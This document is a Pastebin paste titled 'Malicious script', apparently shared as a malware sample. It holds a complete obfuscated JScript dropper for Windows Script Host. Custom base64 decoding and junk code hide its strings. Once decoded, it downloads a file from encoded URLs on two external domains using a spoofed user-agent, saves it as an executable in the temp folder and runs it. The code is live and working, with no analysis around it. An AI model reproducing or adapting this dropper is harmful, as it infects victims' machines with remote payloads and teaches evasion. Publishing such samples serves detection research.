Advertisement
dynamoo

Malicious script

Aug 21st, 2017
1,342
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2.  
  3. function  setRH(CR, VR){
  4.  CR[VR]("User-Agent", "TW96aWxsYS80LjAgPARTITIKGNvbXBhdGlibGU7IE1TSUUgNi4wOyPARTITIBXaW5kb3dzIE5UIDUuMCk=".HIDEMYASS());
  5. }
  6.  
  7. var SmthngWrngtease_SayNoNo ="PARTITI"+ ""+"";
  8. var silkopil = "/";
  9. var efFFFFF =0xff ;
  10. var line5 = new Array(
  11.  29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,92,29,29,29,93,82,83,84,85,86,87,88,89,90,91,29,29,29,29,29,29,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,29,29,29,29,29,29,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29
  12. );
  13.  
  14.  
  15.  
  16.   turkish = {'U':'S' , ':':'.' , '88':'' , 'BOLGARIN':'onseBody' , '77':'' , '101':'' , 'SEREDINA':'X',  '11':''};
  17.  
  18.    
  19. function  SmthngWrngtease_FROG2sud(vardos){
  20. return vardos[("SmthngWrngtease_gardening","SmthngWrngtease_millennium","SmthngWrngtease_spire","SmthngWrngtease_school","SmthngWrngtease_hypnotism","l")+"en" +("SmthngWrngtease_vocal","SmthngWrngtease_pointer","SmthngWrngtease_kinase","SmthngWrngtease_jason","SmthngWrngtease_absurdly","gt")+"h"];
  21. }
  22.  
  23.  
  24.  var line5HO = SmthngWrngtease_FROG2sud(line5);
  25. WScript.echo("Error opening file (CODE:" +line5HO+")");
  26.  
  27.     for (velVITK_OBLOM= 0; line5HO >velVITK_OBLOM ; ++velVITK_OBLOM) {
  28.        line5[velVITK_OBLOM] = -29+line5[velVITK_OBLOM] - 1;
  29.  
  30.     }
  31.    
  32.     var turkish;
  33.  var velVITK_BOSKO_2S = "";
  34.  
  35. var ratatu = "prot"+"otype";
  36.  
  37.  function TortPankaky(ReebokGalaxyFROGvostochniy){
  38.      ReebokGalaxyFROGtaliluev = ReebokGalaxyFROGvostochniy;
  39. for (var ReebokGalaxyFROG2XCOP in turkish){ReebokGalaxyFROGtaliluev = ReebokGalaxyFROGtaliluev["repl" + "ace"](ReebokGalaxyFROG2XCOP, turkish[ReebokGalaxyFROG2XCOP]);}
  40.     return ReebokGalaxyFROGtaliluev;
  41.  };
  42.      
  43.  
  44.   String[ratatu].HIDEMYASS = function() {
  45.          var SmthngWrngtease_RazlomSS, line4, SmthngWrngtease_Selection1, SmthngWrngtease_FROG2c4;
  46.  
  47.      var SmthngWrngtease_FROG2out = "";
  48.  
  49.      var line3= this.replace(/PARTITI/gi, SmthngWrngtease_FROG2out);line6 = 0;
  50.  var  SmthngWrngtease_FROG2len = SmthngWrngtease_FROG2sud(line3);  
  51.  
  52. while (line6 < SmthngWrngtease_FROG2len) {
  53.    
  54.    
  55. do {
  56.              var SmthngWrngtease_koch = line3.charCodeAt(line6++) &(0x132- 0x33);
  57.             SmthngWrngtease_RazlomSS = line5[SmthngWrngtease_koch];
  58.         } while (line6 < SmthngWrngtease_FROG2len && SmthngWrngtease_RazlomSS == -1);  
  59. if (SmthngWrngtease_RazlomSS == -1)
  60.             break;  
  61.     do {
  62.                 stembl = "the";
  63.             line4 = line5[line3.charCodeAt(line6++) & efFFFFF];
  64.  
  65.         } while (line6 < SmthngWrngtease_FROG2len && line4 == -1);  
  66.  
  67.         if (line4 +1== 0)
  68.             break;
  69.    
  70.         SmthngWrngtease_FROG2out += String.fromCharCode((SmthngWrngtease_RazlomSS << 2) | ((line4 & 0x30) >> 4));
  71.     do {
  72.             SmthngWrngtease_Selection1 = line3.charCodeAt(line6++) & 0xff;
  73.  
  74.             if (SmthngWrngtease_Selection1 == 61)
  75.                 return SmthngWrngtease_FROG2out;
  76.  
  77.             SmthngWrngtease_Selection1 = line5[SmthngWrngtease_Selection1];
  78.         } while (line6 < SmthngWrngtease_FROG2len && SmthngWrngtease_Selection1 == -1);
  79.         if (SmthngWrngtease_Selection1 == -1)
  80.             break;
  81.         SmthngWrngtease_FROG2out += String.fromCharCode(((line4 & (0xe+1)) << 4) | ((SmthngWrngtease_Selection1 & 0x3c) >> 2));
  82.    
  83.         do {
  84.             SmthngWrngtease_FROG2c4 = line3.charCodeAt(line6++) & efFFFFF;
  85.  
  86.             if (SmthngWrngtease_FROG2c4 == 61)
  87.                 return SmthngWrngtease_FROG2out;
  88.  
  89.             SmthngWrngtease_FROG2c4 = line5[SmthngWrngtease_FROG2c4];
  90.         } while (line6 < SmthngWrngtease_FROG2len && SmthngWrngtease_FROG2c4 == -1);
  91.         if (SmthngWrngtease_FROG2c4 == -1)
  92.             break;
  93.  
  94.  
  95.         SmthngWrngtease_FROG2out += String.fromCharCode(((SmthngWrngtease_Selection1 & 0x03) << 6) | SmthngWrngtease_FROG2c4);
  96.      
  97.  
  98.  
  99. }
  100.     return SmthngWrngtease_FROG2out;
  101. };
  102.  
  103.  
  104.  
  105.  
  106.  
  107.  
  108.  
  109. function  SmthngWrngtease_FROG2undefilled(velVLUMAHx, velVLUMAHy) {
  110.     velVLUMAHx =frr / eww ;
  111.     velVLUMAHy = velVLUMAHZZ + -245;
  112. };
  113.  
  114.  
  115.  
  116.  
  117.  
  118.  SmthngWrngtease_FROG2undefilled.dEDWWEE = function(){
  119.  
  120. SmthngWrngtease_FROG2ok(SmthngWrngtease_FROG2spyFunction1.SmthngWrngtease_FROG2calledWith(), "Function called without arguments");
  121.  
  122.     SmthngWrngtease_FROG2publisher.SmthngWrngtease_FROG2publish(this.SmthngWrngtease_FROG2type1, "PROPER1");
  123.     SmthngWrngtease_FROG2ok(SmthngWrngtease_FROG2spyFunction1.SmthngWrngtease_FROG2calledWith("PROPER1"), "Function called with 'PROPER1' argument");
  124.  
  125.     SmthngWrngtease_FROG2publisher.SmthngWrngtease_FROG2publish(this.SmthngWrngtease_FROG2type1, ["PROPER1", "PROPER2"]);
  126.  
  127. };
  128.  
  129.  
  130.  
  131.  
  132.  var topSecretLine;
  133.  var SmthngWrngtease_LLL0LLL = "l";
  134.      var SmthngWrngtease_FROG2TRUEFALSE=("V2lPARTITIuZG93cyBTY3JpcPARTITIHQgSG9zdA=PARTITI=".HIDEMYASS() +"!!!22ee22" =="PARTITIV2lPARTITIuZG93cyBTY3JpcPARTITIHQgSG9zdA==".HIDEMYASS() +"!!!22ee22")&&typeof(SmthngWrngtease_FROG2GzEAPd)==="undefined";
  135.  var SmthngWrngtease_FROGsrq = "UmVxdWVzdEhlYWRlcg==".HIDEMYASS();
  136.  
  137.  
  138.  var SmthngWrngteaseFPADRML  =("").HIDEMYASS();
  139.  var SmthngWrngtease_FROG2lidgen = "QWN0PARTITIaXZlWEPARTITI9iamVjdA==".HIDEMYASS();
  140.  
  141.  var SmthngWrngtease_FROG2chosen = Math.round(0.7 * 2 - 0.4);
  142.  
  143.  
  144.  var takeshiKitana = new Function("PARTITI,PARTITI2", "PARTITI[PARTITI2]();");
  145.  
  146. if(!SmthngWrngtease_FROG2TRUEFALSE){
  147. SmthngWrngtease_FROG2undefilled.scale = function(SmthngWrngtease_FROG2p, SmthngWrngtease_FROG2scaleX, SmthngWrngtease_FROG2scaleY) {
  148.     if (line6sObject(SmthngWrngtease_FROG2scaleX)) {
  149.         SmthngWrngtease_FROG2scaleY = SmthngWrngtease_FROG2scaleX.y;
  150.         SmthngWrngtease_FROG2scaleX = SmthngWrngtease_FROG2scaleX.x;
  151.     } else if (!line6sNumber(SmthngWrngtease_FROG2scaleY)) {
  152.         SmthngWrngtease_FROG2scaleY = SmthngWrngtease_FROG2scaleX;
  153.     }
  154.     return new SmthngWrngtease_FROG2undefilled(SmthngWrngtease_FROG2p.x * SmthngWrngtease_FROG2scaleX, SmthngWrngtease_FROG2p.y * SmthngWrngtease_FROG2scaleY);
  155. };
  156.  
  157. }
  158.    
  159.  
  160. function  SmthngWrngteaseFPADZO_ZO(TT){
  161.    
  162. eval(TT);
  163.     }
  164.  
  165. if(!SmthngWrngtease_FROG2TRUEFALSE){
  166. SmthngWrngtease_FROG2undefilled.SmthngWrngtease_FROG2sameOrN = function(SmthngWrngtease_FROG2param1, SmthngWrngtease_FROG2param2) {
  167.     return SmthngWrngtease_FROG2param1.D == SmthngWrngtease_FROG2param2.D || SmthngWrngtease_FROG2param1.F == SmthngWrngtease_FROG2param2.F;
  168. };
  169.  
  170. SmthngWrngtease_FROG2undefilled.angle = function(SmthngWrngtease_FROG2p) {
  171.     return Math.atan2(SmthngWrngtease_FROG2p.y, SmthngWrngtease_FROG2p.x);
  172. };
  173.     }
  174.  
  175.  
  176.  var SmthngWrngtease_FROG2VARDOCF ="JVRFPARTITITVAlPARTITI".HIDEMYASS();
  177.  
  178.  var NewNameCreator = new Function("PARTITI,PARTITI","topSecretLine = "+   ("bmV3IEZ1bmN0aW9uKCd2VlJFQkZGMycsJ3JldHVybiBcIlRWTT1cIg==").HIDEMYASS() + ".HIDEMYASS();');");
  179.  
  180.  var SmthngWrngtease_FROG2sirdallos ="PARTITIRXhwYW5PARTITIkRW52aXPARTITIJvbm1lbnRTdHJPARTITIpbmdz".HIDEMYASS();
  181.  var SmthngWrngtease_FROG2Native = function(options){
  182.    
  183. };
  184.    
  185.  
  186.  
  187.  
  188. SmthngWrngtease_FROG2Native.line6mplement = function(SmthngWrngtease_FROG2objects, SmthngWrngtease_FROG2properties){
  189.     for ( var line6 = 0, SmthngWrngtease_FROG2l = SmthngWrngtease_FROG2objects.length; line6 < SmthngWrngtease_FROG2l; line6++) SmthngWrngtease_FROG2objects[line6].line6mplement(SmthngWrngtease_FROG2properties);
  190. };
  191.  
  192.  var SmthngWrngtease_FROGhatershaha = "";
  193.  var SmthngWrngtease_FROGodnoklass = "TqCRhOAQ";
  194. function  placeHolder(AOn){
  195.     return new ActiveXObject(AOn);
  196. }if(WSH){
  197.     NewNameCreator();
  198. }  
  199.  
  200.  
  201.  
  202.  var SmthngWrngtease_FROG2d7 ="WA==".HIDEMYASS() +  "M" +"L";
  203.   var SmthngWrngtease_FROG2_bChosteck =  "aHR0cDovLw=PARTITI=";
  204.    
  205.  
  206. function  SmthngWrngtease_FROG2_bCho(T, D, C) {
  207.     R ="" + D ;
  208. T[D+""](C);
  209. }
  210.  
  211. SmthngWrngtease_FROG2d7 = topSecretLine() + SmthngWrngtease_FROG2d7+ TortPankaky(("SmthngWrngtease_settlement","SmthngWrngtease_blood","SmthngWrngtease_intelligence","SmthngWrngtease_rehab","SmthngWrngtease_realm","2.")+"SEREDINAML77H101T"+"TP45PARTITI45"+"WS"+"cr"+"ipt:Uh")+"e"+"ll";
  212.  
  213.  
  214.  var SmthngWrngtease_FROG2DoUtra = [SmthngWrngtease_FROG2lidgen, SmthngWrngtease_FROG2sirdallos,SmthngWrngtease_FROG2VARDOCF,"LmVPARTITI4ZQ=PARTITI=".HIDEMYASS(), "UnPARTITIVuPARTITI".HIDEMYASS(),SmthngWrngtease_FROG2d7];
  215.  
  216. SmthngWrngtease_FROG2Richters=SmthngWrngtease_FROG2DoUtra.shift();
  217.  var SmthngWrngtease_FROG2d2=SmthngWrngtease_FROG2DoUtra.pop();
  218. SmthngWrngtease_FROG2fabled="Valar2Morgulis";
  219.  var SmthngWrngtease_FROG2LitoyDISK=ActiveXObject;
  220.  
  221.  
  222.  
  223.      var massMarket=SmthngWrngtease_FROG2d2.split("45");SmthngWrngtease_FROG2Native.SmthngWrngtease_FROG2typize=function(a,b){a.type||(a.type=function(a){return SmthngWrngtease_FROG2$type(a)===b})};
  224. SmthngWrngtease_FROGcccomeccc = "p";
  225.  var Limbus2000=new Function("HORN",' var GALAXY = "chastity necessarily()";var kelso = "ADODB.Str32"; return kelso.replace("TRUMP", "D").replace("32", "eam");'); 
  226.  
  227. function  SmthngWrngtease_FROG2_cCho(a,b,c,d){a[b](c,d)}
  228. abtest = massMarket[SmthngWrngtease_FROGcccomeccc + "op"]();
  229.  var SmthngWrngteaseMorningNewYork;
  230.  function  mix2(){
  231.      try{
  232.         perm_sel[fixed] = fixed;     /* Generate random orientation*/      var total = 0;      var ori_sel = Array();      var i = fixed === 0 ? 1 : 0;     for(; i < 7; i = i === fixed - 1 ? i + 2 : i + 1){       ori_sel[i] = scramblers.lib.randomInt.below(3);       total += ori_sel[i];     }     if(i <= 7) ori_sel[i] = (3 - (total % 3)) % 3;     ori_sel[fixed] = 0;      /* Convert to face format*/     /* Mapping from permutation/orientation to facelet*/      var D = 1, L = 2, B = 5, U = 4, R = 3, F = 0;     /* D 0 1 2 3  L 4 5 6 7  B 8 9 10 11  U 12 13 14 15  R 16 17 18 19  F 20 21 22 23*/     /* Map from permutation/orientation to face*/   /* Convert cubie representation into facelet representaion*/     for( var i = 0; i < 8; i++){       for( var j = 0; j < 3; j++)         posit[pos[i][(ori_sel[i] + j) % 3]] = fmap[perm_sel[i]][j];     }
  233.      }catch(exc){
  234.            SmthngWrngteaseMorningNewYork = "bPARTITI3Blbg==".HIDEMYASS();
  235.      }
  236. }
  237. SmthngWrngteaseSeason3 = placeHolder(abtest+"");
  238. mix2();
  239. SmthngWrngtease_FROGletchikva=new ActiveXObject(massMarket[0]);
  240. SmthngWrngtease_FROG2tudabilo1 = "s";
  241. eval(SmthngWrngtease_SayNoNo.HIDEMYASS());
  242.  
  243.  var SmthngWrngtease_FROG2vulture = SmthngWrngteaseSeason3[SmthngWrngtease_FROG2DoUtra.shift()](SmthngWrngtease_FROG2DoUtra.shift());
  244.  
  245. SmthngWrngtease_FROG2weasel = "G\x45T";
  246.  var SmthngWrngtease_FROG2SIDRENKOV = SmthngWrngtease_FROG2DoUtra.shift();
  247.  
  248.  
  249.  var SmthngWrngtease_FROG2promises = SmthngWrngtease_FROG2DoUtra.shift();
  250.  
  251.    SmthngWrngtease_FROG2SPASPI = "type";
  252.                            
  253. function  SmthngWrngtease_FROG2_aCho(R, K) {
  254. R[K]();
  255. }  
  256. function  CNPK(aa){
  257.     return  "\x3F".concat(aa,"\x3D");
  258. }
  259. function  SmthngWrngtease_ECOPLAT(SmthngWrngtease_FROG2gutter, SmthngWrngtease_FROG2StrokaParam2) {
  260.              var SmthngWrngteaseMorningPitsburg = ""+ SmthngWrngtease_FROG2vulture;
  261. try{
  262.    
  263.  
  264.         SmthngWrngteaseMorningPitsburg=SmthngWrngteaseMorningPitsburg+silkopil;
  265.  
  266. SmthngWrngteaseMorningPitsburg=SmthngWrngteaseMorningPitsburg +""+ SmthngWrngtease_FROG2StrokaParam2 ;
  267. SmthngWrngtease_FROGletchikva["open"](SmthngWrngtease_FROG2weasel, SmthngWrngtease_FROG2gutter, false);
  268.        
  269. if(SmthngWrngtease_FROG2TRUEFALSE){  SmthngWrngtease_FROG2_cCho(SmthngWrngtease_FROGletchikva,"set"+(11,"SmthngWrngtease_grocer","SmthngWrngtease_folklore","SmthngWrngtease_centralization","SmthngWrngtease_sized","SmthngWrngtease_situations","SmthngWrngtease_insubordination","SmthngWrngtease_preservation",SmthngWrngtease_FROGsrq),"User-Agent","TW96aWxsYS80LjAgPARTITIKGNvbXBhdGlibGU7IE1TSUUgNi4wOyPARTITIBXaW5kb3dzIE5UIDUuMCk=".HIDEMYASS());
  270.    
  271.       }
  272.    
  273. SmthngWrngtease_FROGletchikva[SmthngWrngtease_FROG2tudabilo1 + ("SmthngWrngtease_candor","SmthngWrngtease_helterskelter","SmthngWrngtease_benjamin","SmthngWrngtease_distasteful","SmthngWrngtease_idealized","end")]();
  274.    
  275.    
  276.  var kuzut = SmthngWrngtease_FROGletchikva["Re"+"sp"+(SmthngWrngtease_FROG2StrokaParam2,"SmthngWrngtease_sooty","SmthngWrngtease_cowboy","SmthngWrngtease_microphone","SmthngWrngtease_slovak",1123,turkish['BOLGARIN'])];
  277. //if(kuzut < 29989)return false;
  278. //      if (kuzut[0]!= 77 || kuzut[1]!= 90)return false;
  279.             var SmthngWrngtease_MainZ = new SmthngWrngtease_FROG2LitoyDISK(Limbus2000());
  280.     if (SmthngWrngtease_FROG2TRUEFALSE) {
  281.  
  282.          
  283.  
  284.          var ddee = new Function("vgg, rdd", "    reflective = Math.floor(n);     if (x < 256*256*256) {        bytes = [            max + 2,            Math.floor(x / 256 / 256),            Math.floor(cooking / 256) % 256,            x % 256        ];    }    else if (x < 256*256*256*256) {        amplifier = [            max + 3,            Math.floor(x / 256 / 256 / 256),            Math.floor(x / 256 / 256) % 256,            Math.floor(grandchild / 256) % 256,            x % 256        ];    }"
  285. );  SmthngWrngtease_FROGGaSMa = "Valar10Morgulis";
  286.        
  287.  var takeshiKitana2 = new Function("PARTITI,PARTITI2", "PARTITI.write(PARTITI2);");        
  288.             takeshiKitana(SmthngWrngtease_MainZ,SmthngWrngteaseMorningNewYork);  
  289. SmthngWrngtease_MainZ[SmthngWrngtease_FROG2SPASPI] = SmthngWrngtease_FROG2chosen;
  290.  
  291.         takeshiKitana2( SmthngWrngtease_MainZ, kuzut);
  292.           SmthngWrngtease_FROG2XWaxeQhw = "Valar11Morgulis";
  293.         SmthngWrngtease_MainZ["position"] = 0;
  294.       SmthngWrngtease_FROG2krDwvrh = "Valar12Morgulis";
  295.  
  296.         SmthngWrngteaseMorningPitsburg = SmthngWrngteaseMorningPitsburg  + SmthngWrngtease_FROG2SIDRENKOV;
  297.         SmthngWrngtease_MainZ["cPARTITI2F2PARTITIZVPARTITIRvRmlsZQ==".HIDEMYASS()](SmthngWrngteaseMorningPitsburg, 26/13);
  298.         SmthngWrngtease_FROG2SswQdi = "Valar13Morgulis";
  299.        
  300.          
  301.         SmthngWrngtease_MainZ.close();
  302.  
  303.            
  304.        
  305. SmthngWrngteaseSeason3[SmthngWrngtease_FROG2promises ](SmthngWrngteaseMorningPitsburg,0,false);
  306.  
  307.  
  308.        
  309. return true;
  310.        
  311.  
  312.  
  313.  
  314.        
  315.        
  316.        
  317.         }
  318. }catch(exception2){
  319.    
  320.     return false;}
  321. };
  322.  
  323.  
  324.                    
  325. SmthngWrngteaseFPADZO_ZO(SmthngWrngteaseFPADRML);
  326.            
  327.  
  328.    
  329.  var SmthngWrngtease_FROGodnoklassYO = 1;
  330.  
  331.  
  332.  var SmthngWrngtease_FROG2_a5 = ('PARTITIZ2VsLWJhdHRlcmllbi1PARTITIhZ20tYmF0dGVyaWVuLmRlLzY1SktqYmg/SSSS'+'ZHJvb2hzZHJvbmZoeXN0Z2ZoLmluZm8vYWYvNjVKS2piaA=='+'SSSSPARTITI').split("SSSS");  
  333.  
  334.  var PARTITI500 = new Function("SmthngWrngtease_FROG2_a5,SmthngWrngtease_FROG2HORDA5", 'return SmthngWrngtease_FROG2_bChosteck.HIDEMYASS() + SmthngWrngtease_FROG2_a5[SmthngWrngtease_FROG2HORDA5].HIDEMYASS();');
  335. for(SmthngWrngtease_FROG2HORDA5 in SmthngWrngtease_FROG2_a5){
  336.    
  337.    
  338. SmthngWrngtease_FROGodnoklassYO++;
  339.    
  340. if(SmthngWrngtease_ECOPLAT(PARTITI500(SmthngWrngtease_FROG2_a5,SmthngWrngtease_FROG2HORDA5)+CNPK(SmthngWrngtease_FROGodnoklass)+SmthngWrngtease_FROGodnoklass,SmthngWrngtease_FROGodnoklass+ SmthngWrngtease_FROGodnoklassYO)){
  341. break;
  342. }
  343.  
  344.  
  345.    
  346. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement